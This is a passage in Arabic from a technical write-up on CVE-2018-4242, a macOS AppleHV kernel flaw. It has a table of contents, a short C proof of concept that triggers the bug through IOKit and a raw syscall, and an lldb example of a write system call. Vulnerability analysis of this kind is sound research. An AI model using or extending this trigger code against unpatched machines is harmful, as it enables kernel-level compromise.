
Zhuo Liang من فريق Qihoo 360 Nirvan
1.1 CVE-2018-4242 . . . . . . . . . . . . . . . . . . . . . . . . . 1
2.1 استدعاء النظام . . . . . . . . . . . . . . . . . . . . . . . . . . 2
2.2 MIG . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
2.2.1 mach_msg ومنفذ Mach . . . . . . . . . . . . . . . . . 6
2.2.2 MIG: مولّد واجهات RPC . . . . . . . . . . . . . . . . . . . . 8
2.3 IOKit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.3.1 IOUserClient . . . . . . . . . . . . . . . . . . . . . . . 12
3.1 الهندسة العكسية . . . . . . . . . . . . . . . . . . . . . . 12
3.2 الثغرة . . . . . . . . . . . . . . . . . . . . . . . . . 16
3.3 الإصلاح . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
1.1 CVE-2018-4242
أصدرت Apple الأسبوع الماضي تحديث أمان macOS 10.13.4 لـ CVE-2018-4242 الذي تم الإبلاغ عنه في مارس. يُعد CVE-2018-4242 ثغرة يمكن من خلالها تنفيذ كود عشوائي بصلاحيات النواة، مما قد يعرّض النظام للبرمجيات الخبيثة. سيساعد هذا التقرير في إلقاء نظرة على XNU من خلال هذه المشكلة. الكود في القائمة 1 هو برهان مفهوم (PoC) قمنا بعرضه. يمكن تنزيل الكود المصدري الكامل من github.
1 // AppleHVUaF.c
2 void destroy_vm() {
3 asm("mov $0x03000000, %rax; mov $0x04, %rdi; syscall");
4 return;
5 }
6 int main(int argc, char **argv) {
7 const char *service_name = "AppleHV";
8 io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
9
10 if (service == MACH_PORT_NULL) {
11 printf("[−] Cannot get matching service of %s\n", service_name);
12 return 0;
13 }
14 printf("[+] Get matching service of %s succeed, service=0x%x\n", service_name, service);
15
16 io_connect_t client = MACH_PORT_NULL;
17 kern_return_t ret = IOServiceOpen(service, mach_task_self(), 0, &client);
18 if (ret != KERN_SUCCESS) {
19 printf("[−] Open service of %s failed!\n", service_name);
20 return 0;
21 }
22 printf("[+] Create IOUserClient of %s succeed, client=0x%x\n",
23 service_name, client);
24 IOServiceClose(client);
25 usleep(5);
26 destroy_vm();
27 return 0;
28 }
القائمة 1: برهان مفهوم (PoC) لـ CVE-2018-4242
لفهم هذا الكود، تحتاج إلى بعض المعارف الأساسية حول XNU. للقراء الجدد في XNU، سيتناول القسم 2 أساسيات XNU. إذا كنت تعرف بالفعل العناصر التالية، يمكنك البدء من القسم 3.
القسم 1: مقدمة
القسم 2: المعارف الأساسية لنواة XNU
القسم 3: الهندسة العكسية لـ AppleHV.kext وتفاصيل CVE-2018-4242
القسم 4: الخاتمة
كما نعلم جميعًا، استدعاء النظام (system call) في الحوسبة هو وسيلة تتيح للبرامج التفاعل مع نظام التشغيل. يمكن لعمليات مستوى المستخدم طلب خدمات نظام التشغيل عبر استدعاء النظام. في XNU، توجد أربعة أصناف من استدعاءات النظام التي تدعم جميع التفاعلات بين المستخدم والنواة. دعنا نتعمق في هذه الأصناف من خلال تعليمة syscall كما هو موضح في القائمة 1. syscall على معمارية x86_64 هو نوع من التعليمات التي يمكنها استدعاء معالج استدعاءات النظام في مساحة النواة. يوضح القائمة 2 كيفية عمل syscall من خلال مثال بسيط لاستدعاء write.
~ cat write.c
2 #include
3 int main() {
4 write(0, "Hello\n", 6);
5 return 0;
6 }
7 ~ clang write.c −o write
8 ~ lldb write
9 (lldbinit) b libsystem_kernel.dylib`write
10 Breakpoint 1: where = libsystem_kernel.dylib`write, address = 0x000000000001e6f8
11 (lldbinit) r
12 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[regs]
13 RAX: 0x0000000000000006 RBX: 0x0000000000000000 RBP: 0x00007FFEEFBFF8D0
14 RSP: 0x00007FFEEFBFF8B8 RDI: 0x0000000000000000 RSI: 0x0000000100000FA2
15 RDX: 0x0000000000000006 RCX: 0x00007FFEEFBFF9F8 RIP: 0x00007FFF7ED096F8
16 R8: 0x0000000000000000 R9: 0xFFFFFFFF00000000 R10: 0x00007FFEEFBFFA48
17 R11: 0x00007FFF7ED096F8 R12: 0x0000000000000000 R13: 0x0000000000000000
18 R14: 0x0000000000000000 R15: 0x0000000000000000
19 CS: 002B FS: 0000 GS: 0000
20 −−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−[code]
21 write @ libsystem_kernel.dylib:
22 −> 0x7fff7ed096f8: b8 04 00 00 02 mov eax, 0x2000004
23 0x7fff7ed096fd: 49 89 ca mov r10, rcx
24 0x7fff7ed09700: 0f 05 syscall
25 0x7fff7ed09702: 73 08 jae 0x7fff7ed0970c ; <+20>
26 0x7fff7ed09704: 48 89 c7 mov rdi, rax
27 0x7fff7ed09707: e9 19 54 ff ff jmp 0x7fff7ecfeb25 ; cerror
28 0x7fff7ed0970c: c3 ret
29 0x7fff7ed0970d: 90 nop
30 (lldbinit) x/s rsi
31 0x100000fa2: "Hello\n"
القائمة 2: مثال بسيط لاستدعاء write